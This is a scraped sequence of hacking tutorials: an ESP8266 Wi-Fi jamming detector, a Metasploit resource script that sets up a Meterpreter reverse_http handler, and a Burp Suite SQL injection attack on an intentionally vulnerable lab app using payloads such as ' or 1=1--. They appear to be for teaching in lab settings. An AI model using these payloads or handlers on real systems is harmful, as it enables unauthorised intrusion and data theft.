delay to create a pause between the blinking of our lights, in miliseconds. }Let's break this down to understand what it's doing.In a basic Arduino program, there are a few main elements. First, we have variables and libraries we're including; This will control the resulting code by allowing us to change things like how long the LEDs blink for.We'll start by creating two variables to determine how long a blink should be, by defining how long to turn on and off the LED each time we activate it. We'll create the variablehighTimeto store how long in milliseconds to leave the LED on, andlowTimefor how long to leave the LED off per blink.int highTime = 1000, lowTime = 100; // First, we define how long the light should be on (highTime) and how long the light should be off (lowTime) per blink in miliseconds (1000 = 1 sec)Next, we'll create and define three functions we can call each time we want to blink the LED a particular color. These will need to be "void" functions because unlike a regular function that returns data, these functions do something without returning any result.Don't Miss:Detect Script-Kiddie Wi-Fi Jamming with WiresharkTo blink the red LED, we create ared()function, and then inside the curly braces, use the built-indigitalWrite()function to turn a pin off and on.To use thedigitalWrite()function, you need to include the pin you want to call and the power setting to change the pin to between the parenthesis. If I want to supply power to pinD5, I would typedigitalWrite(D5, HIGH), and to turn the same pin off,digitalWrite(D5, LOW); This would turn on and off whichever color LED pin is attached to D5.With this logic, we can use the code below to map each color function to the correct pin, so that calling the function first turns on, and then turns off the LED color connected to that pin. If your colors don't match the pin number first time, you can switch the pin numbers in your code to match the way you wired it.void red() { // Next, we create a function for the color red. You can expariment or swap these after testing them. For now, we will map pin D5 to our function "red" digitalWrite(D5, HIGH), delay(highTime), digitalWrite(D5, LOW), delay(lowTime); } void green() { // We will repeat this process for the color green. As a note, these are "void" functions because unlike normal functions they don't return any data, they just do something. digitalWrite(D6, HIGH), delay(highTime), digitalWrite(D6, LOW), delay(lowTime); } void blue() { // Finally, we create a function for the color blue as well. digitalWrite(D7, HIGH), delay(highTime), digitalWrite(D7, LOW), delay(lowTime); }Next, we'll need to address the part of the program that only runs once, called thesetupfunction; This is mandatory in Arduino programs. In ours, we will use the built-inpinMode(pin, mode)function to activate the pins we will be using, telling the function which pin to call and what mode to set on it. To set pinsD5,D6, andD7toOUTPUTmode, we will use the code below.void setup() { pinMode(D5, OUTPUT), pinMode(D6, OUTPUT), pinMode(D7, OUTPUT); }Finally, we have theloopsection; This will run over and over again. In this section, we will call each of the color functions we wrote, and then add a delay at the end of each cycle in milliseconds; This should result in the NodeMCU lighting up each color in the LED one after the other.void loop() { red(),green(),blue(); delay(100); }Step 5: Flash the Simple Program to the NodeMCUNow, we're ready to test! Connect your NodeMCU via a Micro-USB cable to your computer, if not already done, and make sure the pins of the LED are connected to theGRD,D5,D6, andD7pins on the breadboard.Copy and paste the script at the start of Step 4 into a blank Arduino IDE sketch, and click on the "Upload" button on the top left that looks like an arrow, and the program will be written to the NodeMCU as seen below.After the program is finished loading, your NodeMCU should power on and begin blinking through the three colors in the order you programmed it to.If you'd like to download my script to blink the lights directly, you can run the command below to download it from my GitHub repository. You can open the .INO file in the resulting folder in Arduino IDE to see the code.git clone https://gitlab.com/skickar/NodeMCUWiFiLinkMonitor.git cd NodeMCUWiFiLinkMonitor lsStep 6: Write the Wi-Fi Checking CodeIf the indicator light test worked, then we're ready to move on to our functional code. We'll need to add a few more variables to the beginning in order to make the Wi-Fi monitor work. We'll use the LED color functions to show three conditions.In the first condition, the NodeMCU cannot ever connect to the access point (AP) successfully. This means that the password may be wrong, the AP may be down, or something may be wrong with the SSID and password. We'll make the light turn blue in this condition to warn us that way may need to troubleshoot our code.Don't Miss:Track Wi-Fi Devices & Connect to Them Using ProbequestTo make this work, we'll create a variable called "connectSuccess" and set the value to zero. This variable will keep track of whether we do manage to successfully connect to the target network. Once the value ofconnectSuccessis above zero, we can tell our program to blink the red LED instead of the blue LED when the connection fails to let us know that a previously possible connection is being blocked or is otherwise unavailable.To start, we will need to add the "ESP8266WiFi.h" library to control the Wi-Fi card to our previous code. After that, we will need to create a variable to hold the SSID and password to the network you want to join. We'll create a variable to hold the current Wi-Fi status each time we run our loop, and then add ourconnectSuccessvariable set to zero.const char* ssid = "Control"; // Next, we set the name of the network to monitor. const char* password = "testytest"; // After that, we enter the password of the network to monitor. int wifiStatus; // Here, we create a variable to check the status of the Wi-Fi connection. int connectSuccess = 0, highTime = 100, lowtime = 100; // And now, we set a variable to count the number of times we've been able to successfully connect, and how long the LED will stay on and off for. void red() { // Here, we will map a function called "red" to the right pin that will light up the red LED for the amount of time we defined in hightTime for how long it is lit, and lowTime for how long it is off each time we pulse a red LED. digitalWrite(D5, HIGH), delay(highTime), digitalWrite(D5, LOW), delay(lowtime); // We map the red function to the D5 pin, so that each time we call red() it will pulse power on the D5 pin. } void green() { // We do the same with green, mapping the D6 pin to the green() function. digitalWrite(D6, HIGH), delay(highTime), digitalWrite(D6, LOW), delay(lowtime); } void blue() { // Finally, we do the same with blue, mapping it to the D7 pin. digitalWrite(D7, HIGH), delay(highTime), digitalWrite(D7, LOW), delay(lowtime); }Now, inside thesetuploop, we'll call theWiFi.begin(ssid, password)function to attempt to connect to the wireless network. We'll include everything that was present in our LED program before as well.void setup() { // The setup function runs only once when the device starts up. pinMode(D5, OUTPUT), pinMode(D6, OUTPUT), pinMode(D7, OUTPUT); // In this case, we will activate the D5, D6, and D7 pins for output mode. WiFi.begin(ssid, password); // The last part of setup we will write is to start the Wi-Fi connection process. }Next, we'll add some new logic to theloop()function.First, we'll check the Wi-Fi status and write the result to the variable we created calledwifiStatus. Next, we'll check to see if we've successfully connected previously by checking if the value ofconnectSuccessis more then zero. If the value is still zero, we will blink the blue LED by calling theblue()function to tell the user that we have yet to make a successful connection to the target AP.Next, we check to see if the value ofwifiStatusis equal toWL_CONNECTED. If it is, we will turn on the green LED with thegreen()function and increase the value of theconnectSuccesscounter variable by one by typingconnectSuccess ++. From now on, if the connection fails, it will activate the red LED rather than the blue LED because the value ofconnectSuccessis more than zero.Finally, if the value ofwifiStatusis something other thanWL_CONNECTEDand the value ofconnectSuccessis not zero, we will turn on the red LED by calling thered()function. After we're done with the logic, we can add a final command to create a delay of 1 second between each check of the Wi-Fi status.void loop() { // This loop will run over and over again, unlike the setup function, which will only run once. wifiStatus = WiFi.status(); // First, we'll check the status of the Wi-Fi connection and store the result in the variable we created, wifiStatus. if(connectSuccess == 0){ blue();} // If device is not connected and never has successfully connected, flash the blue light. This could mean the network doesn't exist, is out of range, or you misspelled the SSID or password. if(wifiStatus == WL_CONNECTED){ green(), connectSuccess ++;} // If the device is connected, flash the green light, and add one to the count of the "connectSuccess" variable. This way, we will know to flash the red light if we lose the connection. else if(connectSuccess != 0){ red(); } // If the connection is not active but we have been able to connect before, flash the red LED. That means the AP is down, a jamming attack is in progress, or a normal link is otherwise impossible. delay(1000); // Set a delay of one second per cycle of checking the status of the link. }Our final code will look like the example below.// SIMPLE Wi-FI LINK MONITOR BY SKICKAR - Based on Henry's Bench Wi-Fi link checker // This project has the goal to connect an ioT device to a Wi-Fi network and monitor the ability to establish a normal wireless connection. // The project uses only three componants - A nodeMCU, a breadboard, and one RGB LED. #include <ESP8266WiFi.h> // First, we include the libraries we need to make this work on the ESP8266 const char* ssid = "Control"; // Next, we set the name of the network to monitor. const char* password = "testytest"; // After that, we enter the password of the network to monitor. int wifiStatus; // Here, we create a variable to check the status of the Wi-Fi connection. int connectSuccess = 0, highTime = 100, lowtime = 100; // And now, we set a variable to count the number of times we've been able to successfully connect, and how long the LED will stay on and off for. void red() { // Here, we will map a function called "red" to the right pin that will light up the red LED for the amount of time we defined in hightTime for how long it is lit, and lowTime for how long it is off each time we pulse a red LED. digitalWrite(D5, HIGH), delay(highTime), digitalWrite(D5, LOW), delay(lowtime); // We map the red function to the D5 pin, so that each time we call red() it will pulse power on the D5 pin. } void green() { // We do the same with green, mapping the D6 pin to the green() function. digitalWrite(D6, HIGH), delay(highTime), digitalWrite(D6, LOW), delay(lowtime); } void blue() { // Finally, we do the same with blue, mapping it to the D7 pin. digitalWrite(D7, HIGH), delay(highTime), digitalWrite(D7, LOW), delay(lowtime); } void setup() { // The setup function runs only once when the device starts up. pinMode(D5, OUTPUT), pinMode(D6, OUTPUT), pinMode(D7, OUTPUT); // In this case, we will activate the D5, D6, and D7 pins for output mode. WiFi.begin(ssid, password); // The last part of setup we will write is to start the Wi-Fi connection process. } void loop() { // This loop will run over and over again, unlike the setup function, which will only run once. wifiStatus = WiFi.status(); // First, we'll check the status of the Wi-Fi connection and store the result in the variable we created, wifiStatus. if(connectSuccess == 0){ blue();} // If device is not connected and never has successfully connected, flash the blue light. This could mean the network doesn't exist, is out of range, or you misspelled the SSID or password. if(wifiStatus == WL_CONNECTED){ green(), connectSuccess ++;} // If the device is connected, flash the green light, and add one to the count of the "connectSuccess" variable. This way, we will know to flash the red light if we lose the connection. else if(connectSuccess != 0){ red(); } // If the connection is not active but we have been able to connect before, flash the red LED. That means the AP is down, a jamming attack is in progress, or a normal link is otherwise impossible. delay(1000); // Set a delay of one second per cycle of checking the status of the link. }You can also find this code in the same GitHub repo the blinking .INO file was downloaded from.Step 7: Run the Code & TestingWith this complete, upload your code to the NodeMCU in the Arduino IDE and then wait for it to finish rebooting. Now it's time to test the device.The best way to do so is to use your phone's wireless hotspot. Set the SSID and password in your program to that of your hotspot to easily test if the program works. To start, boot the NodeMCU with your hotspot off, and it should blink blue while unable to connect. When you turn on your Wi-Fi hotspot, it should blink green, and when you turn the hotspot off again, it should blink red.If you don't have a phone with a hotspot, you can test it on your network too. Using one of our guides onMDK3orAireplay-ng, connect the NodeMCU to a network you have permission to test on, and attack the NodeMCU (or the channel if you have permission to) with a deauthentication or disassociation attack.You should see the LED turn red as soon as your attack becomes effective, then turn green again when the attack subsides. You can use the NodeMCU as a "victim" device to practice jamming and deauthentication attacks with an easy LED indicator to show when you succeed.Amazing Projects Are Possible with the ESP8266 & Arduino IDEArmed with a low-cost board and Arduino IDE, we've created a simple code to monitor a network connection and shown how easy it is to automate a small, useful function with an IoT device. Aside from detecting attacks, the ESP8266 can also attack networks and has been used in projects ranging in variety from controlling intricate LED masks to small deauthentication packet generators like theesp8266 deautherby Spacehuhn.With so many low-cost building blocks like the NodeMCU available that come with Wi-Fi built-in, connecting these devices to a network to do basic useful functions is simple even for a beginning maker. More advanced and creative uses of these building blocks can allow networks of targeted Wi-Fi protocol jammers to be distributed to deny coverage over a wide area, or detectors to automate Wi-Fi surveillance.I hope you enjoyed this guide to detecting Wi-Fi jamming attacks by programming a NodeMCU in Arduino IDE. If you have any questions about this tutorial on Arduino programming or you have a comment, feel free to reach me on Twitter@KodyKinzieor comment below.Don't Miss:Disable Security Cameras on Any Wireless Network with Aireplay-ngFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null Byte (unless noted otherwise)RelatedHow To:Detect & Classify Wi-Fi Jamming Packets with the NodeMCUHow To:Detect When a Device Is Nearby with the ESP8266 Friend DetectorHow To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherHow To:Use an ESP8266 Beacon Spammer to Track Smartphone UsersHow To:Control Anything with a Wi-Fi Relay Switch Using aRestHow to Hack with Arduino:Building MacOS Payloads for Inserting a Wi-Fi BackdoorHow To:Change a Phone's Coordinates by Spoofing Wi-Fi Geolocation HotspotsHow To:Inconspicuously Sniff Wi-Fi Data Packets Using an ESP8266How to Hack with Arduino:Tracking Which Networks a Mac Has Connected To & WhenHow To:A Hacker's Guide to Programming MicrocontrollersHow To:Use MDK3 for Advanced Wi-Fi JammingHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow To:Detect Script-Kiddie Wi-Fi Jamming with WiresharkHow To:Run USB Rubber Ducky Scripts on a Super Inexpensive Digispark BoardHow to Hack with Arduino:Defeat VPNs & Track a MacOS Computer RemotelyHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:Hack Wi-Fi Networks with BettercapHow To:Get Started with MicroPython for ESP8266 MicrocontrollersHow To:Automate Wi-Fi Hacking with Wifite2How to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:Make Your Own "TV-B-Gone" to Silence All Televisions That Oppose YouHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow To:Safely Launch Fireworks Over Wi-Fi with an ESP8266 Board & ArduinoHow To:What is An Arduino? (Part 1)How To:Enable Offline Chat Communications Over Wi-Fi with an ESP32How To:Create Rogue APs with MicroPython on an ESP8266 MicrocontrollerHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow to Hack Wi-Fi:Capturing WPA Passwords by Targeting Users with a Fluxion AttackHow To:Pick an Antenna for Wi-Fi HackingHow To:Use Kismet to Watch Wi-Fi User Activity Through WallsHow To:Hack MacOS with Digispark Ducky Script PayloadsHow To:This DIY WiFi-Detecting 'Sting' Blade Is Perfect for Any Hobbit Looking for a HotspotHow To:Hijack Chromecasts with CATT to Display Images, Messages, Videos, Sites & MoreHow To:Track Wi-Fi Devices & Connect to Them Using ProbequestHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking Tools
Hack Like a Pro: Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files) Β« Null Byte :: WonderHowTo
Welcome back, my budding hackers!Inthis series, I have been trying to familiarize you with the many features of the world's best framework for exploitation, hacking, and pentesting, Metasploit. There are so many features, and techniques for using those features, that few pentesters/hackers are aware of all of them.Many times, when doing a pentest/hack, we need to run a number of Metasploit commands repeatedly. These commands may be exactly the same each time, and just like scripting, we may need to automatically run multiple Metasploit commands in a single step. Metasploit has the capability to save and store these "scripts," and they can then be recalled by the script name. Metasploit calls these scripts resource files.For example, in many attacks, we need to set up a multi/handler to connect to when a payload is executed on a target system. In my newPowersploit series, or with theweb delivery Metasploit module, we will always need to set a multi/handler to receive the connections from a sent payload. This usually involves several commands: using the multi/handler, setting the port, setting the payload, setting the IP, an so on. To make things easier, we can store all of these commands in a resource file and simply run a single command to execute all of them.Now that you have a better idea of when these would be useful, let's take a look at Metasploit's scripting capabilities with resource files.Step 1: Exploring Resource Scripts in MetasploitFirst, let's take a look at where Metasploit store its scripts. Let's navigate to/usr/share/metasploit-framework/scripts/resources, and then do along listing.kali > cd /usr/share/metasploit-framework/scripts/resourcekali > ls -lAs you can see, Metasploit has numerous scripts already developed and stored here. Any new script that we write will be stored here as well.Step 2: Writing Our Own Resource ScriptNow let's create our own simple script to start a multi/handler necessary to receive connections, such as we used in thefirst Powersploit tutorial. First, start Metasploit, then enter the commands we want in our script.kali > msfconsolemsf > use exploit/multi/handlermsf > set PAYLOAD windows/meterpreter/reverse_httpmsf > set LHOST 192.168.181.128msf > set LPORT 4444When we have completed all of the commands we want in the script, we simply use the keywordmakercfollowed by the name of the script. For instance, here I named the script,handler_http.rc(a multi/handler for HTTP followed by the Metasploit extension for resource files,rc).msf > makerc handler_http.rcMetasploit now saves each of those commands into that script file.Step 3: Checking the Script ContentsIf we want to see want commands are in a script file, we can use one of the many commands in Linux to display the contents of a file, such ascat,less, andmore. Here, I usedmorefollowed by the resource file name.msf > more handler_http.rcNotice that Metasploit now displays the commands in my script file,handler_http.rc.Step 4: Executing Our New Script FileWhen we want to execute this script, we simply precede the script name with the keywordresourcesuch as:msf > resource handler_http.rcMetasploit will now run each of the commands in our script automatically. Now simply typeexploitto start our handler.msf > exploitStep 5: Checking Whether It Was SavedIf we go back to the location where the scripts are stored, we can see that our new script,handler_http.rc, is now stored with the other Metasploit prepackaged scripts.Step 6: Starting the Script Automatically with MetasploitIf we know before starting Metasploit that we will be using a particular script, we can have Metasploit automatically execute the script upon starting. We do this by starting Metasploit with themsfconsolecommand, the-rswitch, and followed by the name of the resource file we want to execute upon opening, such as:kali > msfconsole -r handler_http.rcNow, when Metasploit starts, it will automatically execute thehandler_http.rcscript, and you are ready to go.Keep coming back, my budding hackers, as we explore the tools and techniques of the most important and valuable skill of the 21st centuryβ€”hacking!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedNews:How to Study for the White Hat Hacker Associate Certification (CWA)How to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Metasploit for the Aspiring Hacker, Part 6 (Gaining Access to Tokens)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)Hack Like a Pro:How to Remotely Record & Listen to the Microphone on Anyone's ComputerHow To:Simplify Payload Creation with MSFPC (MSFvenom Payload Creator)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 21 (GRUB Bootloader)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)Hack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHacking Windows 10:How to Break into Somebody's Computer Without a Password (Setting Up the Payload)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)Hack Like a Pro:Python Scripting for the Aspiring Hacker, Part 1Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 11 (Post-Exploitation with Mimikatz)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:The Ultimate Command Cheat Sheet for Metasploit's MeterpreterHack Like a Pro:Metasploit for the Aspiring Hacker, Part 12 (Web Delivery for Linux or Mac)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 5 (Msfvenom)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 2 (Creating Directories & Files)How To:Hack Your Neighbor with a Post-It Note, Part 2 (Setting Up the Attack)Hack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 7 - Legal HackerCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 7 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 1 - Real Hacking Simulations
How to Attack Web Applications with Burp Suite & SQL Injection Β« Null Byte :: WonderHowTo
Web applications are becoming more and more popular, replacing traditional desktop programs at an accelerated rate. With all these new apps out on the web comes various security implications associated with being connected to the internet where anyone can poke and prod at them. One of the simplest, yet the most prevalent types of security flaws found in modern web apps areSQL injections.A typical web app doesn't actually store any information in the app itself, but rather it communicates with a backend database where data is stored. These requests are handled by SQL queries in which the application passes a statement to the database, thus returning the requested data to the application.What Is SQL Injection?SQL injection is a technique used to attack applications utilizing a database by sending malicious code with the intention of accessing or modifying restricted information in the database. There are many reasons why this vulnerability exists, including improper input filtering and sanitation.This type of attack allows one to retrieve sensitive information, modify existing data, or even destroy entire databases. The most common attack vector for SQL injection is through input fields β€” login forms, search forms, text boxes, and file upload functions are all excellent candidates for exploitation.Recommended on Amazon:SQL Injection Strategies: Practical Techniques to Secure Old Vulnerabilities Against Modern AttacksIn this guide, our target will be Mutillidae, an intentionally vulnerable web app included as part ofMetasploitable 2, an intentionally vulnerable Linux virtual machine (VM) designed for testing and practicing purposes. We will be connected to Metasploitable 2 on an isolated network withKalias the attacking machine.Step 1: Install a Metasploitable 2 Virtual MachineBurp Suiteis a popular tool that can be used to automate testing web apps for vulnerabilities and is conveniently included withKali. Before we get to that though, we need to set up our target machine.I will be using Metasploitable 2 in this guide, which you candownload from Rapid7's website, but any vulnerable VM will work. If you need help getting it installed, it's just like installing any other VM on your computer, and Null Byte hasa fewguidesthat could helpyou get yourvirtual labset up.Don't Miss:Hacking Web Form Authentication with Burp Suite Using a Cluster Bomb AttackOne thing to be careful with when using an intentionally vulnerable machine is exposing it to hostile networks. This means that unless you are completely unplugged from the internet, you should be usingnetwork address translation(NAT) or host-only mode.Once everything is set up, log into Metasploitable 2 β€” both the username and password should bemsfadminβ€” and find its IP address usingifconfig. What you're looking for in the eth0 is the "inet" address, which will be your IP address for testing purposes.Step 2: Configure Mutillidae in Your Attack BrowserAfter finding Metasploitable 2's IP address, navigate to it to connect to the web server. I'm using Firefox in Kali to do this.Click on "Mutillidae" to enter the web app, then navigate to "OWASP Top 10." Now, select "Injection (SQL)," followed by "Extract Data," then "User Info." You will be greeted with a login screen.Step 3: Configure Your Attack Browser for Burp SuiteNext, we need to configure the browser to work with Burp Suite since it acts as a proxy to intercept and modify requests. I'm using Firefox here, but most browsers will be similar.Open up the browser's "Preferences," click on "Advanced," then the "Network" tab. Select "Settings" next to theConnectionspot, then make sure it's set to "Manual proxy configuration" and enter127.0.0.1as theHTTP Proxyand8080as thePort. Next, check "Use this proxy server for all protocols," make sure there is nothing listed underNo Proxy for, then click "OK." We're now ready to fire up Burp Suite.Step 4: Intercept the Request with Burp SuiteOpen up the Burp Suite app in Kali, start a new project, then go to the "Proxy" tab and ensure that "Intercept is on" is pressed. This will allow us to modify the request from the webpage and insert different values to test for SQL injection. Back on the login page, I have entered an arbitrary username and attempted to log in. You can view the raw request as well as parameters, headers, and even hex information.We're primarily interested in the username field since this is what we will modify to test for SQL injection flaws. Click on the "Action" button, then "Send to Intruder." Alternatively, right-click anywhere in the request area and do the same.Step 5: Configure Positions & Payloads in Burp SuiteNext, go to the "Intruder" tab, and click on "Positions." Burp Suite automatically configures the positions where payloads are inserted when a request is sent to intruder, but since we are only interested in the username field, we can clear all positions by pressing "Clear" on the right. Highlight the value entered for username, and click the "Add" button. We will use the "Sniper" attack type which will run through a list of values in the payload and try them one at a time.Now our position is set, and we're ready to configure the payload. SQL queries work by interacting with data in the database through the use of statements. TheSELECTstatement is used to retrieve data, so a login query would look like:SELECT username, password FROM users WHERE username='myname' AND password='mypassword';Let's look at the classic SQL injection command' or 1=1--. Here is what the SQL statement looks like when entered into the login field:SELECT username, password FROM users WHERE username='' or 1=1-- AND password='';The single quote effectively turns the first part into a blank string, and 1=1 always evaluates to true, so the username query will now run as "blank" or "true." The double dashes comment out the rest of the query so the password field is ignored. Since "blank" or "true" is always true, and the password field is ignored, the database will return account data.Don't Miss:The Essential Newbie's Guide to SQL Injections & Manipulating Data in a MySQL DatabaseClick on the "Payloads" tab, and go to "Payload Options" β€” we can leave all the default settings for now. Here we can enter our payloads into a simple list by either adding them one by one or loading an existing list. Kali comes with a variety of wordlists including one specifically for testing SQL injection vulnerabilities. Hit "Load," and navigate to/usr/share/wordlists/wfuzz/injection/SQL.txt. Now, we are prepared to launch our attack.Step 6: Run an Intruder Attack in Burp SuiteClick the "Start attack" button, and a new window will pop up showing the intruder attack. Here you can view the progress of the requests plus their payload and status. Be patient as this can take quite some time to complete depending on the length of the list.Once intruder is finished, you can view the details of any request simply by clicking on it.Step 7: Analyze the Results in Burp SuiteWhat we are after here is the response. Every single request that was made returned astatus code200 response, but oftentimes when a payload is successful you will see a different code. Usually another way to tell if a query succeeded is if the length of the response is noticeably different from the others. I have selected the request containing the SQL query of' or 1=1 or "='because I had previously tested this injection manually, so I knew it would work.Don't Miss:How to Crack Online Web Form Passwords with THC-Hydra & Burp SuiteBurp Suite is useful because you can actually render the webpage that is returned in the response by going to the "Response" tab and clicking "Render." We can see below that our SQL injection was successful and we now have usernames and passwords. If this was an administrative panel or something similar, we could log in with the admin credentials and wreak all kinds of havoc.SQL Injection in the WildAlthough SQL injection has been known as a severe vulnerability for quite some time, it continues to be one of the most common methods of exploitation today. Part of this is because anyone can piece together a semi-functioning web app and deploy it out on the internet. Even professional software developers often have a hard time adhering to secure coding principles, so it's no surprise when Jimmy down the street makes an insecure application.To become truly effective with SQL injection, it's probably best tolearn SQL itself. After all, the best way to break something is by knowing how it works and using that knowledge for abuse. While conducting your tests, once you've found a vulnerability and a payload that works, you can customize the SQL to execute your own commands. This is useful for figuring out the layout of tables, modifying data, and even discovering other tables within the database. There really is no limit to what you can do once a genuine grasp of SQL is attained.Until the day comes when proper security is the highest priority, there will continue to be SQL injection flaws in web applications. This means that there will always be plenty of work for all you white hatters, so get out there and hack away.Learn SQL:"SQL QuickStart Guide: The Simplified Beginner's Guide to Managing, Analyzing & Manipulating Data with SQL" on AmazonWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byAichi8Seiran/Pixabay; Screenshots by drd_/Null ByteRelatedHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)Hack Like a Pro:How to Hack Web Apps, Part 3 (Web-Based Authentication)Hack Like a Pro:How to Hack Web Apps, Part 4 (Hacking Form Authentication with Burp Suite)SQL Injection 101:Database & SQL Basics Every Hacker Needs to KnowHow To:Generate a Clickjacking Attack with Burp Suite to Steal User ClicksHow To:Discover XSS Security Flaws by Fuzzing with Burp Suite, Wfuzz & XSStrikeHow To:Hack Facebook & Gmail Accounts Owned by MacOS TargetsHow To:Use Burp & FoxyProxy to Easily Switch Between Proxy SettingsSQL Injection 101:How to Fingerprint Databases & Perform General Reconnaissance for a More Successful AttackSQL Injection 101:How to Avoid Detection & Bypass DefensesHow To:Leverage a Directory Traversal Vulnerability into Code ExecutionSQL Injection 101:Advanced Techniques for Maximum ExploitationHow To:Use SQL Injection to Run OS Commands & Get a ShellHack Like a Pro:How to Crack Online Web Form Passwords with THC-Hydra & Burp SuiteSQL Injection 101:Common Defense Methods Hackers Should Be Aware OfHow To:Compromise a Web Server & Upload Files to Check for Privilege Escalation, Part 1How To:SQL Injection Finding Vulnerable Websites..How To:SQL Injection! -- Detailed Introduction.How To:Protect against SQL injection attacks when programming in PHPHow To:Hack SAML Single Sign-on with Burp SuiteBecome an Elite Hacker Part 4:Hacking a Website. [Part 1]How To:Use Metasploit's Web Delivery Script & Command Injection to Pop a ShellHow To:Use Command Injection to Pop a Reverse Shell on a Web ServerHow To:Hack websites with SQL injectionHow To:Perform Directory Traversal & Extract Sensitive InformationHow to Hack Databases:The Terms & Technologies You Need to Know Before Getting StartedHow To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsHow To:The Essential Newbie's Guide to SQL Injections and Manipulating Data in a MySQL DatabaseHow To:Hack websites with SQL injection and WebGoatHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesHow Null Byte Injections Work:A History of Our NamesakeIPsec Tools of the Trade:Don't Bring a Knife to a GunfightGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsHow To:Protect Your PHP Website from SQL Injection Hacks
Hack Like a Pro: Linux Basics for the Aspiring Hacker, Part 17 (Client DNS) Β« Null Byte :: WonderHowTo
Welcome back, my aspiring hackers!Domain Name System (DNS) is one of those things we seldom think about unless it doesn't work. Then, it can be very frustrating when we attempt to navigate to a website and we get that frustrating error message.DNS enables us to type in a domain name in our browser, such aswonderhowto.com, rather than a numerical IP address of the site we are trying to reach. In its simplest form, DNS simply translates domain names into IP addresses, making our lives much simpler. Can you imagine trying to remember all of the IP addresses of the hundreds of sites you visit daily?For most of us working inLinux, we have two DNS concerns. First, as a client we need to access DNS services to translate our domain names into IP addresses. Second, as a server we need to provide DNS services. Here, I will limit myself to managing DNS from aclientperspective and leave providing DNS services to another tutorial.It's important to remind you here that in Linux, nearly everything is a file, and configuration is usually through the editing of a simple text file. This rule certainly applies to DNS.Step 1: /Etc/HostsIn Linux, we have what is referred to as a "hosts" file. It's found where nearly all the configuration files are in the/etcdirectory, so/etc/hosts. This hosts file acts similarly to DNS, but it is static. This means that it's not updated like DNS is. The hosts file is the simplest and fastest method for mapping hostnames to IP addresses, but also the most time consuming.Let's look at the/etc/hostsfile in 